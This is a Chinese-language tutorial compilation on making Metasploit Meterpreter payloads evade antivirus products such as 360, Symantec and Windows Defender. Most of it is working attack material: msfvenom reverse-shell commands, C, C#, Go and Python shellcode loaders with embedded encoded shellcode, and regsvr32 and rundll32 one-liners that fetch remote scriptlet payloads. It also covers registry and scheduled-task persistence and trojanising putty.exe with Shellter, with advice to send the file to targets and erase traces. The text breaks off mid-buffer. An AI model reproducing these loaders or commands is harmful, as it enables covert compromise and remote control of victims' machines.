在对市面上主流的杀软进行测试的过程中,发现symantec会在meterpreter回连成功,从metasploit里接受数据的时候报毒。 无论是自己手动编码编译还是msf自动生成的exe都会这样被报毒。 经过笔者自己测试,使用reverse_https等payload可以anti symantec。 msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.200 lport=443 -f c 但是需要在metasploit设置: set EnableStageEncoding true set stageencoder x86/fnstenv_mov set stageencodingfallback false 将控制端向被控制端发送的stage进行编码,从而绕过symantec的查杀。 同样,使用reverse_tcp_rc4也有同样的效果,而且不用设置stageencoder选项,更稳定更方便。 msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=192.168.1.200 lport=4444 RC4PASSWORD=Green-m -f c 利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮地下执行meterpreter。 这里做一个抛砖引玉的作用,其他payload的查杀效果需要各大黑客自己去测试。 0×06 meterpreter常驻的免杀 常见的添加meterpreter 常驻的方法无非两种:persistence和metsvc。这两种方法效果还是不错的,不过在面对杀软的时候无能为力,几乎100%被杀。 下面介绍几种能绕过杀软的添加自启动方法。 1.使用exploit/windows/local/registry_persistence 通过用户自己指定payload及编码方式,将shellcode添加到注册表,然后再利用powershell加载该shellcode,成功运行meterpreter。 由于加载的payload是由metasploit指定,每次都不一定一样,这个方法在面对大部分主流AV的时候简直强大,只要不监视注册表操作不限制powershell,几乎不会被杀。 同类型的还有其他payload,如exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence,有的效果也不错,如添加计划任务启动的功能,但或多或少都有一些限制,总体说来不如上面讲到的方法。 2.利用powershell powershell因为其特性,被很多杀毒软件直接忽视,因此用这个方法经常能达到出其不意的效果 其实这个方式和第一种原理都是一样,不过自定义的powershell脚本效果更佳。 这里可以利用一个工具powersploit,下面用它来示范一个简单的例子。 Import-Module .\Persistence\Persistence.psm1 $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle $UserOptions =New-UserPersistenceOption -ScheduledTask -Hourly Add-Persistence -FilePath .\Green_m.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose 其中Green_m.ps1是加载有payload的powershell脚本文件,你可以用msf生成一个加载meterpreter的ps1文件。 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f psh-reflection -o Green_m.ps1 当然你也可以选择不执行powershell文件而直接执行某个PE文件,可以通过将代码赋予变量来执行。 $Green_m = { c:\windows\system32\notepad.exe } $ElevatedOptions =New-ElevatedPersistenceOption -PermanentWMI -AtStartup $UserOptions =New-UserPersistenceOption -ScheduledTask -Hourly Add-Persistence -ScriptBlock $Green_m -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $Us erOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 powersploit还有其他非常有用的功能,有兴趣可以自己去github或者使用get-help查询。 0x07 meterpreter免杀木马实战 1.制作免杀木马后门 首先,在kali中用msfvenom生成一个payload msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’lhost=server.ngrok.cc lport=11206 -f c 上面命令中,-p选择指定payload,–e选择制定编码器(不同编码器免杀效果也有不同,部分编码器应对火绒等杀软效果显著), -i 编码次数,-b 去多余/坏字符,lhost是你申请的ngrok服务器地址 lport是自定义的远程端口,-f 生成指定格式。 我这里选择生成基于C语言的数组,当然你也可以用以下命令直接得到exe木马,但这样免杀效果会打折扣,经笔者测试多次,重复编码12次后免杀效果非常强大! msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’lhost=server.ngrok.cc lport=11206 -f exe > haya.exe 然后复制buf数组 在win7下用VC6.0对下面代码进行编译,得到木马。 #include <stdio.h> #pragmacomment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口 unsignedchar buf[] = "buf数组";//将复制的数组粘贴到此处 main() { ((void(*)(void))&buf)(); } 2.Metasploit控制客户机 切到Kali,使用Metasploit进行监听。 设置监听攻击模块,监听载荷,IP(kali本机),端口(ngrok里自定义的本地端口),然后exp。 use exploit/multi/handler set payloadswindows/meterpreter/reverset_tcp set lhost 192.168.1.130 set lport 12345 exploit 当客户机执行木马后,得到一个meterpreter,可以进行的操作你懂的哈哈。 通过上述步骤得到的木马经过笔者测试可以通过360,腾讯管家,Windows defender,小红伞等杀毒软件的查杀。动态免杀中,对于360,如果exe没有放在C盘或者U盘运行就可以做到动态免杀,仅仅会在拍照等特敏感操作会有提示,其他操作全程不报毒,defender和腾讯管家就更弱了,拍照也不会有任何提示。 0x08 Veil-Evasion+Metasploit免杀 1.简介 Veil-Evasion是一个用python写的流行的框架。我们可以用这个框架生成能够规避大多数杀软的载荷。Veil-Evasion被原生设计为在kali上,但其实存在python环境的系统上应该都能运行。 你可以用命令行轻松调用Veil-Evasion,按菜单选项生成payload。在创建payload的时候,Veil-Evasion会询问你是否想把payload文件用Pyinstaller或者Py2Exe转为可执行文件。 2.安装 下载 官网:http://www.veil-framework.com/ github项目地址:http://github.com/Veil-Framework/Veil-Evasion 安装 kali linux可以直接 apt-get install veil-evasion git克隆安装: git clone http://github.com/Veil-Framework/Veil-Evasion.git cd Veil-Evasion/setup ./install-addons.sh 3.使用 payload列表 使用use、list可以列出当前可用的模块 简单实例 我们利用这个payload 6)  c/meterpreter/rev_tcp 这里,我们输入命令: use 6 或者 use c/meterpreter/rev_tcp 我们只需配置一下options就可以了,包括监听地址,端口,是否生成exe 这里,我们仅配置一下地址,然后run/generate(生成): set LHOST 192.168.1.114 generate payload路径:/var/lib/veil-evasion/output/source/ 测试360查杀: 设置监听: 当payload在目标机器运行后,获得session: 0x09 TheFatRat:Msfvenom免杀后门生成工具 1.下载 https://github.com/screetsec/thefatrat 本工具能使用msfvenom生成后门,程序能够用meterpreter reverse_tcp payload编译C语言程序,并能够绕过杀软。 2.开始使用 git clone https://github.com/Screetsec/TheFatRat.git cd TheFatrat apt-get update apt-get install mingw32 backdoor-factory 如果提示没有安装MinGW或无法找到包 3.运行 提取lalin-master to your home or another folder chmod +x fatrat chmod +x powerfull.sh ./fatrat 然后根据选项输入相应数字 使用截图 4.查毒 0x10 免杀MSF Windows Payload 的方法与实践 1.准备 Payload 这个过程比较简单,大多数人应该都会。我们这里使用 msfvenom 生成一个 x86 的 Meterpreter 的 Payload 为例,直接上命令: msfvenom -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.222 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe 大部分参数都不用过多解释了,常用 MSF 的人都知道。需要说明的是,我们要借助于 C# 来执行生成的 Payload,所以格式要选择为 csharp,而最后两个参数(PrependMigrate 和 PrependMigrateProc)是指明 Payload 执行后要将自己注入到一个新创建的宿主 svchost.exe 进程中去。 生成的结果如下图(cat 命令显示的结果有问题,不用管它): 2.准备 C# 工程 我们需要创建一个 C# 工程,我这里使用 Visual Studio 2017。新建一个空白的 C# 的 Console 工程,.Net Framework 版本选择 2.0(保证兼容性)。 将如下代码黏贴覆盖到 Program.cs 中: using System; using System.Threading; using System.Runtime.InteropServices; namespace MSFWrapper { public class Program { public Program() { RunMSF(); } public static void RunMSF() { byte[] MsfPayload = { //Paste your Payload here }; IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40); Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length); CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0); Thread.Sleep(2000); } public static void Main() { } [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } } 然后将先前生成的 Payload 的黏贴到代码中注释为“//Paste your Payload here”的地方。保存代码后,修改该工程的属性,将输出类型改为“Windows 应用程序”,启动对象改为“MSFWrapper.Program”, 然后保存。 增加 Release 版的 x86 编译对象,然后生成出 MSFWrapper.exe。 3.转换 MSFWrapper.exe 为 js 文件 这里要用到一个非常流弊的工具 DotNetToJScript,这是一款可以将 .net 程序转换为 jscript 代码的。工具下载地址: https://github.com/tyranid/DotNetToJScrip 使用如下命令进行转换: F:\t00ls>DotNetToJScript.exe -l=JScript -o=MSFWrapper.js -c=MSFWrapper.Program MSFWrapper.exe 然后我们就可以用下面的命令执行我们的 MSF Payload: C:\windows\SysWOW64\cscript.exe /e:JScript MSFWrapper.js 这里一定要注意,因为我们生成的 Payload 跟 exe 都是 32 位的,所以这里也要用 32 的 cscript.exe 去执行。切记! 4.进一步猥琐化 sct 大法 既然能够转换为 js 代码,那么我们自然会想到 sct 大法的应用。我们将转换后的 js 代码黏贴到下面代码中的“//paste code here”: <?XML version="1.0"?> <scriptlet> <registration progid="Msf" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> //paste code here </script> </registration> </scriptlet> 保存为 msf.sct(后缀名可以更改,比如 jpg 等)并上传至 Web Server 然后在目标机器上执行如下命令: F:\t00ls>c:\windows\SysWOW64\regsvr32 /s /u /n /i:https://raw.githubusercontent.com/Moriarty2016/Screenshots/master/msf.sct c:\windows\SysWOW64\scrobj.dll'' 另外,我们也可以使用 script 或者 scriptlet 的方式来深度利用,这里我们要使用 DotNetToJSCript.exe 的 -m 参数来生成 scriptlet 文件,命令如下: DotNetToJScript.exe -m -o=msf2.sct -c=MSFWrapper.Program MSFWrapper.exe 将 msf2.sct 文件上传到 Web Server 上,然后用如下命令在目标环境中执行: F:\t00ls>c:\windows\syswow64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/Moriarty2016/Screenshots/master/msf2.sct");this.close() 当然,如果目标环境是 Windows 7 以上版本,还可以这样: F:\t00ls>c:\windows\SysWOW64\cscript.exe c:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/Moriarty2016/Screenshots/master/msf2.sct 0x11 msf反弹后门的免杀Tips 1.思路 我以前接触过一款python的远控,其实说是远控,基本也就是nc的功能加了一个服务端的web页面控制并加了一些其他的功能可以用来管理诸多客户机 这款远控我下载下来用过,并用pyinstaller打包成了exe(缺点是体积太过庞大),惊奇的是,360不杀它,然后自己想着其他语言是不是也会这样,于是我用golang写了一个简易版nc反弹,编译之后,也是不查杀的。python和golang有一个共同点,就是可以用来内联C编程,所以C语言的shellcode按理说应该会达到同样的效果 2.得到shellcode msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.1.100 -e x86/shikata_ga_nai -i 11 -f py > 1.py 建议是生成32位的,如果想生成64位也可以,-e x86/shikata_ga_nai -i 11是指用x86/shikata_ga_nai编码迭代11次,然后生成py文件 py文件打开是shellcode,我们接下来对它进行一点小改造,对于python去执行shellcode的方法,相信小伙伴都已经不陌生,在《python灰帽子》中有讲解,我今天要使用的是golang,其实个人认为golang执行shellcode的代码是更简洁的 3.Golang环境搭建 安装Golang32位(建议32位,与前面对应,在测试过程中,如果32位shellcode配合64位golang加32位gcc,就算把golang的GOARCH改为386也依旧会失败,建议一一对应),安装gcc32位(可以使用TDM-GCC) 4.代码编写 package main /* void call(char *code) { int (*ret)() = (int(*)())code; ret(); } */ import "C" import "unsafe" func main() { buf := "" buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c" buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2" buf += "\x46\x84\xfd\x72\xee\x0e\xb5\x96\x37\x04\x6d\x63\x9f" buf += "\xcc\xa4\x3a\x8e\x8c\xf7\x39\x81\xca\xe4\x42\xff\xce" buf += "\xa3\xa2\xdb\x06\xc0\x3f\xaf\x41\x73\xba\xf7\x20\x13" buf += "\x98\x8c\xff\xfa\x0a\xda\x6e\xf2\x6d\xc3\x81\x07\xc0" buf += "\x1b\x37\xeb\xa2\xa9\x32\x71\xaf\xe9\x20\xd1\xaa\x9e" buf += "\xbd\x82\xf3\x81\x1f\xab\xbf\xc4\xd9\x6c\x75\x37\x3a" buf += "\x53\x78\x90\x79\xaf\x93\x1b\xb3\x15\x09\xe5\x45\x5c" buf += "\x26\x0f\x0d\x16\x52\xf1\x8a\x7e\x8b\xc4\x50\x8e\x0a" buf += "\x38\x2f\x2b\x40\x73\x0b\xf0\x51\x5f\xc6\xbf\x04\x47" buf += "\x80\x36\xe5\x88\x88\xb3\xfc\xa0\x52\xfe\x92\x81\x8d" buf += "\x89\xf2\x6a\xcc\x7f\x9a\xe9\x1a\x30\x73\xa3\x63\x42" buf += "\x10\xe9\xcf\x62\xe4\x06\x52\xe1\x8d\x88\xfe\x52\xc4" buf += "\xc3\xed\x7a\x0e\x66\x5f\x8c\x2c\xef\xfa\xbd\x8c\x79" buf += "\x6c\x01\xe3\x5c\xde\xc4\x8a\x4c\x7d\x34\x32\xb5\x23" buf += "\x56\x6c\x52\x3f\x15\x26\x6a\xf8\x6b\x81\x2c\x23\x8d" buf += "\x41\x6e\x24\x30\xc6\xcb\xba\x26\xd4\x3b\x37\xd3\xc6" buf += "\xa8\x5a\x16\x8f\x1e\x27\xca\xcb\xda\x7f\x74\x62\xb2" buf += "\x62\xa6\xb1\xfc\x64\x53\x3a\xa7\xa4\x21\x3d\x79\x08" buf += "\x06\x74\x2a\xa2\xe7\x0d\x68\x16\xa3\x96\xe5\xad\x32" buf += "\x10\xa3\x0f\x49\xc3\x69\xa7\x5b\x61\x1a\xf8\x1d\x9e" buf += "\x9b\x3a\x00\xfc\x18\xc3\x42\x1a\xd6\x44\x5d\xfe\xc5" buf += "\xb6\x68\xd2\xad\x24\xda\x74\xa7\xf3\x66\x9a\x42\x7a" buf += "\x50\xf0\x0b\x47\xbc\xad\x6c\x1e\xca\xbe\x90\xca\xc3" buf += "\x8e\x5b\xde\x66\xe2\xb3\x20\x6f\x38\x17\xc1\xac\xfb" buf += "\xd3\x2f\x91\xa7\xff\x65\xd7\xd0\x25\x4c\xd4\xb3\x35" buf += "\x38\xa1\x82\xb8\x23\x42\xe9\xa5\x95\x8e\xc4\x35\xca" buf += "\x92\xfe\xde\x62\x70\xd6\x7a\x7f\xfd\xfb\xf0\x24\xbd" buf += "\x5d\x6d\x3d\x13\xbc\x1d\x25\x54\x9d\x0e\x68\xc8\x9a" buf += "\x10\x87\xf0\xc9\xac\x37\x57\x84\x23\x5f\x8a\xc0\xab" buf += "\x52\x6e\xae\x79\xa2\xdb\xff\xd8\x41\x28\x8b\xd3\x9d" buf += "\x68\x3c\x55\xf2\xfe\x0c\x8a\x38\xdf\xb3\x80\x9b\x70" buf += "\x2b\x4e\xe1\xfa\x0b\xfe\xf5\xc3\x1a\x0d\x83\xb0\x69" buf += "\xd0\x68\xfb\xe0\xae\xbd\x56\x52\x17\x9a\xf8\x8f\xc0" buf += "\x14\x8c\xb0\xf7\x0e\x87\xfa\x54\xf4\x04\x4a\x5a\xc8" buf += "\x89\x57\x0e\xbf\x7a\x76\x9b\xfe\xb8\x5f\x31\x42\xec" buf += "\xaf\x18\x9e\x3f\xf0\x09\x79\x86\xb3\x08\x29\x50\xfd" buf += "\xc3\x46\x7d\x24\x51\x5b\xd0\x81\x19\x6f\xc2\x2c\x17" buf += "\xab\xa3\xb7\xd9\x6f\x82\xd9\x37\x5f\x38\x01\xd8\xfd" buf += "\xfd\x11\x22\x61\xd0\x92\x45\x37\x4f\x6c\x4e\x91\x3b" buf += "\x42\x07\xc5\x77\xdc\x52\xd6\xc7\x9d\x7b\x62\xba\x1c" buf += "\x62\x3c\xde\xad\x96\x03\x55\xde\x9d\x52\x5c\x5d\x0c" buf += "\x73\x0e\xc3\x4c\xae\x7d\x1c\x7c\x64\xaf\xbb\xce\xa6" buf += "\x02\x0e\xb1\x51\xc4\x2d\x1b\x6b\xb7\x7c\xd9\x4b\xc3" buf += "\x8c\x43\xd6\x1b\x2a\x4f\x5e\x0a\x9a\xd5\x4d\x45\x64" buf += "\x6c\x0c\xc8\xf5\x59\xd7\x45\x36\x85\x99\x8d\x34\x65" buf += "\x21\xd3\x3b\x35\xce\x22\x29\x0c\x4e\xca\x48\x3f\x55" buf += "\x5d\x1b\xda\x35\xc1\x2d" // at your call site, you can send the shellcode directly to the C // function by converting it to a pointer of the correct type. shellcode := []byte(buf) C.call((*C.char)(unsafe.Pointer(&shellcode[0]))) } 以上就是全部代码 5.杀毒测试 在代码所在目录cmd执行go build得到二进制文件(或者可以用go build -ldflags="-s -w"减小体积,go build -ldflags="-H windowsgui -s -w"去掉命令窗口) 可以看到360的静态查杀和动态查杀都没有发现 可以看到完全是没问题的,体积比python编译出来的小的多,编译出来是500多kb,然后经过upx压缩了一下(测试upx压缩后功能依旧正常),降低到了200多kb 0x12 一次加密多次加密,免杀 root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 R |msfencode -e x86/shikata_ga_nai -t exe > /var/www/payload2.exe R : 指定payload输出raw数据因为要加密, payload的选择以及参数设置不用说. |为管道. -e 后面是msfencode的加密方法, -t exe为msfencode的输出类型. >后面是输出文件的路径 这是一次加密。 多次加密如下: root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -t exe -o /var/www/payload3.exe 但是要保证除最后一次生成需要的文件类型之外,中间管道的输入数据类型都必须是RAW数据。msfpayload输出raw数据使用参数R. msfencode输出raw数据使用参数 -t raw 0x13 avet免杀项目 1.avet 项目地址 https://github.com/govolution/avet 2.下载avet git clone https://github.com/govolution/avet 3.生成 ./build/build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh 需要修改下要使用的sh文件的IP LHOST 本地IP LPORT 本地监听端口 msfvenom -p windows/meterpreter/reverse_httpslhost=172.16.75.239lport=443 -e x86 生成的文件大小 118k。一般般 kali 开启监听模式 windows7 X86 CN 测试环境 除了小红伞病毒库不是最新其他都是最新的。 大约运行30分钟后,360报毒了。 0x14 使用 SHARPMETER反弹SHELL 1.项目地址 https://github.com/vvalien/SharpMeter 2.使用KALI监听 msfvenom -p windows/meterpreter/reverse_winhttps lhost=172.16.75.239 lport=5555 -f hex WINDOWS: SharpMeter.py embed maohou.css fce8820 2000005356686c29247effd585c074c28b0701c385c075e558c35fe807ffffff3100370032002e00310036002e00370035002e003200330039000000bbf0b5a2566a0053ffd5 -m -w KALI 开启监听 3.windows执行 然后就成功了!经过测试:Windows Defender/360杀毒 不拦截。 0x15 shellter免杀 现在我们利用shellter来对木马进行免杀,我下载了shellter的windows程序,下载我们要注入的软件,我们这里选择putty.exe 首先,解压刚刚下载的shellter的压缩包,将putty.exe放入shellter的解压文件夹内 双击shellter,运行它 第一项,要你选择操作模式,这里选a 第二项,要你选谁是否开启在线版本检查,这里选n 然后选择要注入的目标,这里为putty.exe 我们会发现注入语句一直在增加,一般需要几十秒钟就准备好了 然后会要你选择是否要使用隐身模式,这里选y 选择一个攻击载荷(payloads),这里的攻击载荷在msfconsole中都可以找到 custom表示自定义要注入的代码,这个功能我也没用过 我们选择L,然后选择1,也就是配置比较简单了meterpreter_reverse_tcp这个攻击载荷 要为攻击载荷配置LHOST,也就是入侵者IP和LPORT入侵者端口 然后我们等待一下,出现这么画面,那么就说明攻击载荷注入成功! 此时我们得到一个新的putty.exe,虽然它的名字没有变,但是它已经携带木马了,接下来就各显神通的发送给你要渗透的人!! 进入kali,开启msfconsole 在命令终端输入如下命令: root@kali:~#msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.88.128 msf exploit(handler) > set LPORT 2223 msf exploit(handler) > exploit 当带有木马的putty.exe被点击打开时,比如目标要使用putty的ssh,打开了putty。 那么我们就可以获得远程控制会话!! 此时我们再用virscan来扫描一下,看看有多少个杀毒引擎会报毒 发现只有三个杀毒引擎报毒 木马的隐藏性大大增强了,国内的主流杀毒软件都被绕过,我们再在本地用360杀毒软件扫描一下 因为我们的木马进程是寄托在putty这个进程下的,如果putty一关闭,我们就失去了这个会话了,所有我们要做的第一件事是将它转移到不会在短时间内关闭的进程中! 这里我把它移动到进程号为516的一个服务中,确保我有足够的时间做坏事和擦除自己留下的痕迹!! 其实kali中也一样可以运行shellter,需要wine的支持: root@kali:~# apt-get update root@kali:~# apt-get install shellter 安装完后,直接在命令中输入shellter 0x16 编译免杀c#源码进行反弹meterterprter 环境: 1.Kali攻击机IP:192.168.114.140 2.使用win7生成exe 步骤: 使用msfvenom生成shellcode : msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.114.140 lport=5555 -f c win7中使用Visual studio创建Win32控制台项目(如果装了gcc,也可以使用gcc编译): 选择空项目 添加cpp文件 复制刚刚用msfvenom命令所生产的shellcode到cpp文件中,代码如下: #include "windows.h" #include "stdio.h" //#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 //#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积 //shellcode在生成payload时选择c即可 unsigned char shellcode[]= "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c" "\x77\x26\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\x68\x3a\x56" "\x79\xa7\xff\xd5\x53\x53\x6a\x03\x53\x53\x68\xb3\x15\x00\x00" "\xe8\x6a\x01\x00\x00\x2f\x57\x65\x56\x69\x48\x48\x4e\x41\x6f" "\x4f\x51\x36\x76\x54\x75\x38\x59\x37\x52\x73\x4d\x41\x38\x68" "\x72\x6a\x33\x30\x67\x39\x42\x41\x6c\x42\x35\x66\x45\x68\x33" "\x66\x2d\x65\x68\x69\x6e\x46\x42\x33\x45\x4d\x59\x59\x79\x7a" "\x46\x34\x53\x34\x6c\x50\x74\x4f\x57\x6a\x4e\x63\x46\x6b\x6f" "\x73\x47\x6e\x70\x53\x50\x53\x6e\x33\x64\x73\x53\x7a\x6e\x2d" "\x41\x2d\x50\x56\x39\x74\x2d\x6f\x58\x4f\x56\x45\x30\x47\x55" "\x61\x63\x34\x61\x41\x68\x42\x53\x67\x57\x58\x69\x6c\x71\x52" "\x33\x6b\x6b\x59\x59\x56\x63\x42\x4d\x37\x75\x79\x4f\x70\x38" "\x45\x5f\x4d\x70\x44\x30\x35\x39\x4b\x4b\x6b\x4b\x49\x6c\x6a" "\x48\x51\x50\x2d\x4d\x32\x75\x64\x4e\x58\x47\x63\x51\x35\x5a" "\x4b\x49\x41\x42\x43\x59\x6f\x55\x72\x53\x77\x34\x4e\x59\x35" "\x48\x46\x41\x49\x78\x63\x63\x41\x69\x73\x6c\x43\x4c\x44\x76" "\x57\x5f\x77\x64\x32\x67\x39\x68\x4d\x51\x54\x31\x39\x50\x50" "\x50\x53\x41\x41\x4f\x51\x55\x6b\x68\x4e\x63\x56\x46\x7a\x2d" "\x4c\x4a\x47\x38\x52\x58\x38\x61\x6f\x4c\x6b\x2d\x4b\x34\x77" "\x46\x48\x72\x00\x50\x68\x57\x89\x9f\xc6\xff\xd5\x89\xc6\x53" "\x68\x00\x02\x60\x84\x53\x53\x53\x57\x53\x56\x68\xeb\x55\x2e" "\x3b\xff\xd5\x96\x6a\x0a\x5f\x53\x53\x53\x53\x56\x68\x2d\x06" "\x18\x7b\xff\xd5\x85\xc0\x75\x14\x68\x88\x13\x00\x00\x68\x44" "\xf0\x35\xe0\xff\xd5\x4f\x75\xe1\xe8\x4c\x00\x00\x00\x6a\x40" "\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68\x58\xa4\x53" "\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53" "\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcf\x8b\x07\x01" "\xc3\x85\xc0\x75\xe5\x58\xc3\x5f\xe8\x7f\xff\xff\xff\x31\x39" "\x32\x2e\x31\x36\x38\x2e\x31\x31\x34\x2e\x31\x34\x30\x00\xbb" "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; void main() { LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)(); } 编译前设置项目属性如下(否则报错缺少相应的dll): 最后生成exe文件 Kali使用msf做监听: use exploit/multi/handler set payloadwindows/meterpreter/reverse_http set LHOST 192.168.114.140 set LPORT 5555 exploit -j 在计划任务下进行渗透攻击(攻击将在后台进行) 当在目标主机执行后会回连Kali攻击机 192.168.114.140的5555端口: 0x17 python编译shellcode免杀 > msfvenom -p windows/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.2.222 -e x86/shikata_ga_nai -i 11 -f py -o C:/luan/luan.py DL is deprecated, please use Fiddle No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 11 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai succeeded with size 387 (iteration=1) x86/shikata_ga_nai succeeded with size 414 (iteration=2) x86/shikata_ga_nai succeeded with size 441 (iteration=3) x86/shikata_ga_nai succeeded with size 468 (iteration=4) x86/shikata_ga_nai succeeded with size 495 (iteration=5) x86/shikata_ga_nai succeeded with size 522 (iteration=6) x86/shikata_ga_nai succeeded with size 549 (iteration=7) x86/shikata_ga_nai succeeded with size 576 (iteration=8) x86/shikata_ga_nai succeeded with size 603 (iteration=9) x86/shikata_ga_nai succeeded with size 630 (iteration=10) x86/shikata_ga_nai chosen with final size 630 Payload size: 630 bytes Saved as: C:/luan/luan.py C:\PentestBox\bin\metasploit-framework 然后打开luan.py,修改成这样子: from ctypes import * import ctypes buf ="" buf += "\xda\xca\xb8\x17\x5d\x14\x92\xd9\x74\x24\xf4\x5d\x29" buf += "\xc9\xb1\x97\x31\x45\x1a\x03\x45\x1a\x83\xed\xfc\xe2" buf += "\xe2\xe6\x30\x37\xec\xba\xe0\xf0\x35\xc8\x36\x0b\x98" buf += "\x00\xfe\x42\xb3\x52\x5d\xb7\xb0\xc9\x4f\x34\x7f\xa8" buf += "\x6d\x6c\xd1\x7b\x77\xcd\x6d\x92\x35\x6a\x79\x41\x1d" buf += "\x16\x66\x6f\x97\xce\x5e\x17\xb3\xef\xdc\x73\xcb\xdb" buf += "\x3c\xd5\x6d\xfd\x01\x37\x1c\x73\xbf\x36\x58\xd4\x58" buf += "\x12\xce\x52\x67\x6c\xdb\x18\x8a\x25\xfa\x9f\x7d\xa3" buf += "\x9c\x49\xd9\xde\x7d\xc8\x1e\x10\xea\xff\x48\x4f\x31" buf += "\xb5\x13\x18\x05\x9b\x21\x7f\xd1\xd2\xae\x85\x96\x03" buf += "\x41\xcb\x11\x11\x70\x45\x0c\x64\xc3\xf5\xd8\x8f\x63" buf += "\x18\x82\xc3\xee\x9a\x08\xac\x37\xa0\xed\x1a\x57\x25" buf += "\x76\xd4\xde\xc0\x17\xa8\xeb\x1b\x12\x3c\x00\xf3\xf4" buf += "\xa2\x90\x60\xd6\x2d\x62\xb8\xbc\x32\xf3\x9d\x2b\x8a" buf += "\xd8\x8a\x27\x24\xc0\xfa\xd7\x72\xb1\x73\xc1\x91\x66" buf += "\xb8\x86\x61\x16\x12\x11\x32\x59\xd1\x20\x8f\x34\x26" buf += "\xd6\x98\xda\xc8\xfe\xcb\x91\xec\xb0\x5e\xd8\xa1\x8c" buf += "\x10\x95\xbd\x00\x81\x0c\xd9\x7a\xb1\xf3\xf6\x45\x0d" buf += "\x0f\x88\x5f\x9a\xd5\xf6\xbc\xd6\xfd\xa2\xb1\xef\x66" buf += "\xac\x1e\xa6\x28\x6c\x09\x14\xe8\x0c\x7f\xb6\x0a\x3a" buf += "\x4c\xf6\xc2\xbd\xd2\x0e\xea\x59\x2a\x69\x2c\x42\x62" buf += "\x18\x78\x8b\x32\x20\xb7\x46\x46\xa1\xbe\x0a\x9e\xa4" buf += "\x38\x74\x6d\x3d\x23\x0b\x2e\xd3\x76\xe6\x21\xb1\x69" buf += 